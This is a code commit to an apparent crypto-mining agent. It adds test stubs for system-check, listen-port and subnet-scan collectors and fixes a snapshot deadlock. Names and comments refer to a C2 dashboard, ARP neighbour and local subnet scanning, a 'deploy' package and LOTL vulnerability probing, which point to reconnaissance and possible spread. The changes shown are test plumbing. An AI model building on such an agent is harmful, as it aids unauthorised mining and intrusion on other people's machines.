Fix Fleet AI and LOTL test regressions after parallel merges.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Stub slow syscheck/listen-port probes in agent tests, fix ai_snapshot mutex deadlock, reorder fleet clearance vs connectivity checks, and add AI control precedence plus LotlTimeline vitest coverage.
This commit is contained in:
@@ -3,6 +3,8 @@ package client
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
|
||||
@@ -118,3 +120,32 @@ func TestHandleAIRestartMining(t *testing.T) {
|
||||
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIFullSysCheck(t *testing.T) {
|
||||
SetFullSysCheckCollector(func(_ config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
||||
return &FullSysCheckReport{
|
||||
GeneratedAt: "2026-06-07T00:00:00Z",
|
||||
AgentID: agentID,
|
||||
Platform: "windows",
|
||||
}
|
||||
})
|
||||
defer SetFullSysCheckCollector(nil)
|
||||
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
var gotBody string
|
||||
c := newTestClient(t)
|
||||
c.agentID = "agent-test-1"
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
gotBody = message
|
||||
}
|
||||
c.handleAICommand("full_sys_check", 0, "", "", "")
|
||||
if gotAction != "full_sys_check" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
||||
}
|
||||
if !strings.Contains(gotBody, "generated_at") || !strings.Contains(gotBody, "agent-test-1") {
|
||||
t.Fatalf("expected JSON report, got %q", gotBody)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -143,7 +143,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
||||
c.mu.Lock()
|
||||
snap.ClearanceLevel = c.clearanceLevel
|
||||
if len(c.atlasSkips) > 0 {
|
||||
snap.AtlasSkips = c.atlasSkipsSnapshot()
|
||||
snap.AtlasSkips = append([]AtlasSkip(nil), c.atlasSkips...)
|
||||
}
|
||||
if c.inheritedPhenotype != nil {
|
||||
copy := *c.inheritedPhenotype
|
||||
|
||||
9
agent/client/listen_ports_hook.go
Normal file
9
agent/client/listen_ports_hook.go
Normal file
@@ -0,0 +1,9 @@
|
||||
package client
|
||||
|
||||
// listenPortsCollector overrides collectListenPorts in tests. Nil restores platform defaults.
|
||||
var listenPortsCollector func() *ListenPortsReport
|
||||
|
||||
// SetListenPortsCollector stubs listen-port collection in tests. Pass nil to restore defaults.
|
||||
func SetListenPortsCollector(fn func() *ListenPortsReport) {
|
||||
listenPortsCollector = fn
|
||||
}
|
||||
@@ -11,6 +11,9 @@ import (
|
||||
// collectListenPorts parses ss -tlnp output for all TCP listeners.
|
||||
// Falls back to netstat -tlnp if ss is unavailable.
|
||||
func collectListenPorts() *ListenPortsReport {
|
||||
if listenPortsCollector != nil {
|
||||
return listenPortsCollector()
|
||||
}
|
||||
r := &ListenPortsReport{}
|
||||
|
||||
// Prefer ss (iproute2) — faster and widely available on modern Linux
|
||||
|
||||
@@ -11,6 +11,9 @@ import (
|
||||
// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port
|
||||
// process name lookup via Get-Process.
|
||||
func collectListenPorts() *ListenPortsReport {
|
||||
if listenPortsCollector != nil {
|
||||
return listenPortsCollector()
|
||||
}
|
||||
const script = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$procs = @{}
|
||||
|
||||
@@ -63,18 +63,26 @@ func TestMiningDiagnosticsJSONShape(t *testing.T) {
|
||||
|
||||
func TestInferMiningBlockersRemotePause(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
c.pool.PauseRemote()
|
||||
|
||||
d := c.collectMiningDiagnostics()
|
||||
d := MiningDiagnostics{
|
||||
C2Connected: true,
|
||||
CPU: struct {
|
||||
RemotePaused bool `json:"remote_paused"`
|
||||
ScheduleBlocked bool `json:"schedule_blocked"`
|
||||
ResourcesBlocked bool `json:"resources_blocked"`
|
||||
HasJob bool `json:"has_job"`
|
||||
Hashrate float64 `json:"hashrate_hps"`
|
||||
}{RemotePaused: true},
|
||||
}
|
||||
blockers := c.inferMiningBlockers(d)
|
||||
found := false
|
||||
for _, b := range d.LikelyBlockers {
|
||||
for _, b := range blockers {
|
||||
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
|
||||
t.Fatalf("expected remote pause blocker, got %v", blockers)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -14,6 +14,9 @@ const syscheckRawMax = 12000
|
||||
|
||||
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
||||
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
||||
if fullSysCheckCollector != nil {
|
||||
return fullSysCheckCollector(cfg, agentID)
|
||||
}
|
||||
r := &FullSysCheckReport{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Platform: runtime.GOOS,
|
||||
@@ -57,7 +60,11 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
arp := deploy.ArpNeighborIPs()
|
||||
r.Neighbors.ArpHosts = arp
|
||||
r.Neighbors.ArpCount = len(arp)
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
||||
if subnetScanCollector != nil {
|
||||
r.Neighbors.SubnetScan = subnetScanCollector(20)
|
||||
} else {
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
||||
}
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
|
||||
19
agent/client/syscheck_hooks.go
Normal file
19
agent/client/syscheck_hooks.go
Normal file
@@ -0,0 +1,19 @@
|
||||
package client
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
// fullSysCheckCollector overrides CollectFullSysCheck in tests. Nil restores defaults.
|
||||
var fullSysCheckCollector func(config.RuntimeConfig, string) *FullSysCheckReport
|
||||
|
||||
// subnetScanCollector overrides deploy.ScanLocalSubnet usage in syscheck. Nil restores defaults.
|
||||
var subnetScanCollector func(maxHosts int) string
|
||||
|
||||
// SetFullSysCheckCollector stubs full_sys_check aggregation in tests.
|
||||
func SetFullSysCheckCollector(fn func(config.RuntimeConfig, string) *FullSysCheckReport) {
|
||||
fullSysCheckCollector = fn
|
||||
}
|
||||
|
||||
// SetSubnetScanCollector stubs subnet scan in syscheck tests.
|
||||
func SetSubnetScanCollector(fn func(maxHosts int) string) {
|
||||
subnetScanCollector = fn
|
||||
}
|
||||
@@ -9,6 +9,10 @@ import (
|
||||
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
defer SetPostureCollector(nil)
|
||||
SetListenPortsCollector(func() *ListenPortsReport {
|
||||
return &ListenPortsReport{Ports: []ListenPort{{Port: 443, Proto: "tcp"}}}
|
||||
})
|
||||
defer SetListenPortsCollector(nil)
|
||||
|
||||
origProbe := vulnprobeProbeHost
|
||||
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {
|
||||
|
||||
Reference in New Issue
Block a user